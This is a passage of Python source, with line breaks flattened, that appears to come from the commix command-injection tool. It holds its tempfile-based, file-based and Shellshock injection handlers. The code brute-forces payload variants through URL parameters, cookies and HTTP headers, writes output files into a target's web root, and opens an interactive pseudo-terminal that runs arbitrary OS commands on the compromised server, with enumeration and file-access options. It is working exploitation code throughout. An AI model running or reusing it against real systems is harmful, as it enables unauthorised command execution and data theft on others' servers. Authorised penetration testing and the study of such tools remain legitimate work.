settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: percent = "" else: percent = ".. (" + str(float_percent) + "%)" print(settings.SINGLE_WHITESPACE) # Print logs notification message logs.logs_notification(filename) #raise else: percent = ".. (" + str(float_percent) + "%)" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: if whitespace == "%20": whitespace = " " possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == "win": time.sleep(1) new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : print(settings.SINGLE_WHITESPACE) while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print(settings.SINGLE_WHITESPACE) tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) # Delete previous shell (text) files (output) from temp. if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) logs.print_logs_notification(filename, url) raise SystemExit() if settings.VERBOSITY_LEVEL != 0 or not new_line: print(settings.SINGLE_WHITESPACE) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: # if not menu.options.batch: # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) print("\n" + settings.print_output(output) + "\n") # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) return False else : sys.stdout.write("\r") sys.stdout.flush()
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response): shell = False counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based command injection technique" tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution results. " print(settings.print_info_msg(info_msg)) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification( url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation( url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP Header Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to Referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP Header Injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to Host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = fb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = _urllib.request.Request(output) headers.do_check(request) # Evaluate test results. output = _urllib.request.urlopen( request, timeout=settings.TIMEOUT) html_data = output.read() shell = re.findall(r"" + TAG + "", str(html_data)) if len(shell) != 0 and shell[ 0] == TAG and not settings.VERBOSITY_LEVEL != 0: percent = settings.info_msg info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0: raise _urllib.error.HTTPError( url, 404, 'Error', {}, None) except _urllib.error.HTTPError as e: if str(e.getcode() ) == settings.NOT_FOUND_ERROR: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == int(menu.options.failed_tries ) and no_result == True: tmp_path = check_tmp_path( url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print("") while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " tmp_upload = _input( settings. print_question_msg( question_msg)) else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "Y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller( no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print("") raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print( settings.print_error_msg( err_msg)) pass continue else: if exit_loops == False: if settings.VERBOSITY_LEVEL == 0: if str(float_percent ) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = ".. (" + str( float_percent ) + "%)" else: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode() ) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() elif str(e.getcode() ) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": ", " (") + ")." if menu.options.verbose > 1: print("") print(settings.print_critical_msg(err_msg)) # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL != 0 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = "Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print("") else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print("") break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL != 0 and new_line: print("") # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print("") while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print("") break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print("") fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print("") # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print("") fb_enumeration.single_os_cmd_exec( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) # if settings.VERBOSITY_LEVEL != 0: # print("") delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL != 0: print("") if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg( question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL != 0: # print("") if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: time.sleep(timesec) response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") if not shell or shell == "": if settings.VERBOSITY_LEVEL != 0: print("") err_msg = "The '" + cmd + "' command, does not return any output." print( settings. print_critical_msg( err_msg) + "\n") elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: # if settings.VERBOSITY_LEVEL != 0: print("") # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print("") return False else: sys.stdout.write("\r") sys.stdout.flush()
def shellshock_handler(url, http_request_method, filename): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "shellshock injection technique" info_msg = "Testing the " + technique + ". " if settings.VERBOSITY_LEVEL >= 2: info_msg = info_msg + "\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: i = 0 total = len(shellshock_cves) * len(headers) for cve in shellshock_cves: for check_header in headers: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 attack_vector = "echo " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: sys.stdout.write("\n" + settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload else: menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = settings.info_msg no_result = False elif len(response.info()) > 0 and cve in response.info(): percent = settings.info_msg no_result = False else: percent = str(float_percent)+ "%" if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if no_result == False: # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) vuln_parameter = "HTTP Header" the_type = " " + vuln_parameter check_header = " " + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) if settings.VERBOSITY_LEVEL != 0: checks.total_of_requests() info_msg = "The (" + check_header + ") '" info_msg += url + Style.RESET_ALL + Style.BRIGHT info_msg += "' seems vulnerable via " + technique + "." if settings.VERBOSITY_LEVEL < 2: print("") print(settings.print_bold_info_msg(info_msg)) sub_content = "\"" + payload + "\"" print(settings.print_sub_content(sub_content)) # Enumeration options. if settings.ENUMERATION_DONE == True : if settings.VERBOSITY_LEVEL != 0: print("") while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input(settings.print_question_msg(question_msg)) else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: enumeration(url, cve, check_header, filename) # File access options. if 